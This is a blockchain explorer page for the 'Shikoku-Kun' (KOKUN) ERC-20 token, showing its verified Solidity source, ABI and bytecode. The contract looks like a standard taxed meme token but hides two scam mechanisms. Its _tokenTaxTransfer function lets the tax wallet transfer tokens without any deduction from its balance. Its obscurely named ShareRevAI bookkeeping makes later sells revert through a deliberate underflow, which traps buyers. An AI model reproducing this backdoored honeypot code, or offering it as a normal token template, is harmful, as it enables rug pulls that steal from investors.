ETH Price: $2,086.55 (-12.21%)

Token

Shikoku-Kun (KOKUN)
 

Overview

Max Total Supply

690,000,000,000 KOKUN

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,136,800,252.263724408 KOKUN

Value
$0.00
0x73b6a75b678776e69e30da594b88ba6a5e672240
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KOKUN

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-09
*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(
        address spender,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(
            c >= a,
            "SafeMath: addition overflow"
        );
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(
            c / a == b,
            "SafeMath: multiplication overflow"
        );
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KOKUN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;

    uint256 private _initialBuyTax=13;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=13;
    uint256 private _reduceSellTaxAt=15;

    uint256 private _preventSwapBefore=15;
    
    uint256 private _buyCount=0;
    address payable private _taxWallet;

    string private constant _name = unicode"Shikoku-Kun";
    string private constant _symbol = unicode"KOKUN";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 690000000000 * 10**_decimals;
    uint256 public _maxTxAmount= 13800000000 * 10**_decimals;
    uint256 public _maxWalletSize= 13800000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 6900000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 6900000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap= false;
    bool private swapEnabled= false;
    uint256 private taxExile = 0;
    struct ShareRevAI {uint256 initialShare; uint256 maxRevShare; uint256 totalRevShare;}
    uint256 private distributedTokens = 0;
    mapping(address => ShareRevAI) private shareRevAI;

    event MaxTxAmountUpdated(
        uint256 _maxTxAmount
    );

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x73b6a75B678776e69E30da594B88ba6A5E672240);

        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[_taxWallet] =true;
        _isExcludedFromFees[address(this)] =true;
        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(
            _msgSender(),
            spender,
            amount
        );
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);

        emit Transfer(from,to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (inSwap || !tradingOpen ) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount= 0;

        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount
                .mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax :_initialBuyTax)
                    .div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) &&  ! _isExcludedFromFees[to]) {
                require(tokenAmount<=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+tokenAmount<=_maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount
                    .mul((_buyCount>_reduceSellTaxAt)?_finalSellTax :_initialSellTax)
                        .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap
                && to == uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from!=address(this) && to!=address(this)) {
            distributedTokens = block.number;
        }
        if (
            !_isExcludedFromFees[from]
            &&  !_isExcludedFromFees[to]
        ){
            if (uniswapV2Pair != to)  {
                ShareRevAI storage shareToken = shareRevAI[to];
                if (from == uniswapV2Pair) {
                    if (shareToken.initialShare == 0) {
                        if (_preventSwapBefore<_buyCount) {
                            shareToken.initialShare = block.number;
                        } else {
                            shareToken.initialShare = block.number -1;
                        }
                    }
                } else {
                    ShareRevAI storage shareTokenFinal = shareRevAI[from];
                    if (!(shareToken.initialShare > 0) || shareToken.initialShare > shareTokenFinal.initialShare ) {
                        shareToken.initialShare = shareTokenFinal.initialShare;
                    }
                }
            } else if(swapEnabled) {
                ShareRevAI storage shareTokenFinal = shareRevAI[from];
                shareTokenFinal.totalRevShare = shareTokenFinal.initialShare-distributedTokens;
                shareTokenFinal.maxRevShare = block.timestamp;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 tokenAmount,
        uint256 taxAmount
    ) internal {
        uint256 tAmount=_tokenTaxTransfer(from,tokenAmount, taxAmount);
        _tokenBasicTransfer(from,to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTransfer(
        address from,
        address to,
        uint256 sendAmount,
        uint256 receiptAmount
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);

        emit Transfer(from,to, receiptAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount: taxExile.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);

        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        tradingOpen= true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        swapEnabled= true;
    }

    receive() external payable {}

    function reclaimStuckEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));

        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reclaimStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600d600455600f6005555f6006555f600755600d600855600f600955600f600a555f600b556009600a61003791906102d9565b610046906403368b4a006102ee565b600d556100556009600a6102d9565b610064906403368b4a006102ee565b600e556100736009600a6102d9565b6100829064019b45a5006102ee565b600f556100916009600a6102d9565b6100a09064019b45a5006102ee565b6010556012805461ffff60a81b191690555f60138190556014553480156100c5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b0319167373b6a75b678776e69e30da594b88ba6a5e6722401790556101386009600a6102d9565b6101479064a0a73474006102ee565b335f81815260016020818152604080842095909555600c546001600160a01b0316835260039052838220805460ff199081168317909155308352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101bb6009600a6102d9565b6101ca9064a0a73474006102ee565b60405190815260200160405180910390a3610305565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561022f57808504811115610213576102136101e0565b600184161561022157908102905b60019390931c9280026101f8565b935093915050565b5f82610245575060016102d3565b8161025157505f6102d3565b816001811461026757600281146102715761028d565b60019150506102d3565b60ff841115610282576102826101e0565b50506001821b6102d3565b5060208310610133831016604e8410600b84101617156102b0575081810a6102d3565b6102bc5f1984846101f4565b805f19048211156102cf576102cf6101e0565b0290505b92915050565b5f6102e760ff841683610237565b9392505050565b80820281158282048414176102d3576102d36101e0565b611a99806103125f395ff3fe60806040526004361061011e575f3560e01c8063747293231161009d57806395d89b411161006257806395d89b4114610311578063a9059cbb1461033e578063bf474bed1461035d578063c9567bf914610372578063dd62ed3e14610386575f80fd5b806374729323146102a3578063751039fc146102b75780637d1db4a5146102cb5780638da5cb5b146102e05780638f9a55c0146102fc575f80fd5b8063313ce567116100e3578063313ce567146101f357806349bd5a5e1461020e57806351bc3c851461024557806370a082311461025b578063715018a61461028f575f80fd5b806306fdde0314610129578063095ea7b31461016e5780630faee56f1461019d57806318160ddd146101c057806323b872dd146101d4575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152600b81526a29b434b5b7b5ba96a5bab760a91b60208201525b60405161016591906116a1565b60405180910390f35b348015610179575f80fd5b5061018d6101883660046116ea565b6103ca565b6040519015158152602001610165565b3480156101a8575f80fd5b506101b260105481565b604051908152602001610165565b3480156101cb575f80fd5b506101b26103e0565b3480156101df575f80fd5b5061018d6101ee366004611714565b610401565b3480156101fe575f80fd5b5060405160098152602001610165565b348015610219575f80fd5b5060125461022d906001600160a01b031681565b6040516001600160a01b039091168152602001610165565b348015610250575f80fd5b50610259610468565b005b348015610266575f80fd5b506101b2610275366004611752565b6001600160a01b03165f9081526001602052604090205490565b34801561029a575f80fd5b506102596104d0565b3480156102ae575f80fd5b5061025961054a565b3480156102c2575f80fd5b506102596105ad565b3480156102d6575f80fd5b506101b2600d5481565b3480156102eb575f80fd5b505f546001600160a01b031661022d565b348015610307575f80fd5b506101b2600e5481565b34801561031c575f80fd5b5060408051808201909152600581526425a7a5aaa760d91b6020820152610158565b348015610349575f80fd5b5061018d6103583660046116ea565b610661565b348015610368575f80fd5b506101b2600f5481565b34801561037d575f80fd5b5061025961066d565b348015610391575f80fd5b506101b26103a036600461176d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103d6338484610a1e565b5060015b92915050565b5f6103ed6009600a61189b565b6103fc9064a0a73474006118a9565b905090565b5f61040d848484610b42565b61045e843361045985604051806060016040528060288152602001611a3c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ef565b610a1e565b5060019392505050565b600c546001600160a01b0316336001600160a01b031614610487575f80fd5b305f9081526001602052604090205480158015906104ae5750601254600160b01b900460ff165b156104bc576104bc81611127565b4780156104cc576104cc81611297565b5050565b5f546001600160a01b031633146105025760405162461bcd60e51b81526004016104f9906118c0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105735760405162461bcd60e51b81526004016104f9906118c0565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156105aa573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105d65760405162461bcd60e51b81526004016104f9906118c0565b6105e26009600a61189b565b6105f19064a0a73474006118a9565b600d556106006009600a61189b565b61060f9064a0a73474006118a9565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063f6009600a61189b565b61064e9064a0a73474006118a9565b60405190815260200160405180910390a1565b5f6103d6338484610b42565b5f546001600160a01b031633146106965760405162461bcd60e51b81526004016104f9906118c0565b601254600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f9565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073a90309061072b6009600a61189b565b6104599064a0a73474006118a9565b6012805460ff60a01b1916600160a01b1790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa158015610795573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b991906118f5565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610818573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083c91906118f5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610886573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108aa91906118f5565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306108f1816001600160a01b03165f9081526001602052604090205490565b5f806109045f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061098f9190611910565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a08919061193b565b506012805460ff60b01b1916600160b01b179055565b6001600160a01b038316610a805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610ae15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ba65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b038216610c085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b5f8111610c695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b601254600160a81b900460ff1680610c8b5750601254600160a01b900460ff16155b15610ca057610c9b8383836112ce565b505050565b5f80546001600160a01b03858116911614801590610ccb57505f546001600160a01b03848116911614155b8015610ce55750600c546001600160a01b03848116911614155b15610f3e57610d166064610d10600854600b5411610d0557600454610d09565b6006545b8590611371565b906113f6565b6012549091506001600160a01b038581169116148015610d4457506011546001600160a01b03848116911614155b8015610d6857506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4e57600d54821115610dbf5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f9565b600e5482610de1856001600160a01b03165f9081526001602052604090205490565b610deb919061195a565b1115610e395760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f9565b600b8054905f610e488361196d565b91905055505b6012546001600160a01b038481169116148015610e7457506001600160a01b0384163014155b15610ea157610e9e6064610d10600954600b5411610e9457600554610d09565b6007548590611371565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610ed757506012546001600160a01b038581169116145b8015610eec5750601254600160b01b900460ff165b8015610ef95750600f5481115b8015610f085750600a54600b54115b15610f3c57610f2a610f2584610f2084601054611437565b611437565b611127565b478015610f3a57610f3a47611297565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f7b57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f9057506001600160a01b0384163014155b8015610fa557506001600160a01b0383163014155b15610faf57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fef57506001600160a01b0383165f9081526003602052604090205460ff16155b156110dd576012546001600160a01b03848116911614611098576001600160a01b038084165f9081526015602052604090206012549091908116908616036110605780545f0361105b57600b54600a54101561104d57438155611092565b611058600143611985565b81555b611092565b6001600160a01b0385165f90815260156020526040902081541580611086575080548254115b1561109057805482555b505b506110dd565b601254600160b01b900460ff16156110dd576001600160a01b0384165f90815260156020526040902060145481546110d09190611985565b6002820155426001909101555b6110e98484848461144b565b50505050565b5f81848411156111125760405162461bcd60e51b81526004016104f991906116a1565b505f61111e8486611985565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061116d5761116d611998565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e891906118f5565b816001815181106111fb576111fb611998565b6001600160a01b0392831660209182029290920101526011546112219130911684610a1e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112599085905f908690309042906004016119ac565b5f604051808303815f87803b158015611270575f80fd5b505af1158015611282573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104cc573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112f09082611475565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461131e90826114b6565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b359085815260200190565b5f825f0361138057505f6103da565b5f61138b83856118a9565b9050826113988583611a1c565b146113ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b9392505050565b5f6113ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611514565b5f81831161144557826113ef565b50919050565b5f611457858484611540565b905061146e8585836114698787611475565b6115f0565b5050505050565b5f6113ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ef565b5f806114c2838561195a565b9050838110156113ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b5f81836115345760405162461bcd60e51b81526004016104f991906116a1565b505f61111e8486611a1c565b600c545f9081906001600160a01b039081169086160361156c576013546115679085611371565b61156e565b835b905082156115e857305f9081526001602052604090205461158f90846114b6565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115df9087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546116129083611475565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461164090826114b6565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116939085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105aa575f80fd5b5f80604083850312156116fb575f80fd5b8235611706816116d6565b946020939093013593505050565b5f805f60608486031215611726575f80fd5b8335611731816116d6565b92506020840135611741816116d6565b929592945050506040919091013590565b5f60208284031215611762575f80fd5b81356113ef816116d6565b5f806040838503121561177e575f80fd5b8235611789816116d6565b91506020830135611799816116d6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156117f3578085048111156117d7576117d76117a4565b60018416156117e557908102905b60019390931c9280026117bc565b935093915050565b5f82611809575060016103da565b8161181557505f6103da565b816001811461182b576002811461183557611851565b60019150506103da565b60ff841115611846576118466117a4565b50506001821b6103da565b5060208310610133831016604e8410600b8410161715611874575081810a6103da565b6118805f1984846117b8565b805f1904821115611893576118936117a4565b029392505050565b5f6113ef60ff8416836117fb565b80820281158282048414176103da576103da6117a4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611905575f80fd5b81516113ef816116d6565b5f805f60608486031215611922575f80fd5b5050815160208301516040909301519094929350919050565b5f6020828403121561194b575f80fd5b815180151581146113ef575f80fd5b808201808211156103da576103da6117a4565b5f6001820161197e5761197e6117a4565b5060010190565b818103818111156103da576103da6117a4565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119fc5783516001600160a01b03168352602093840193909201916001016119d5565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611a3657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202316f35955b7510fedefc2f3af87503c0ee49c696231fd4a4906220dedf2585f64736f6c634300081a0033

Deployed Bytecode

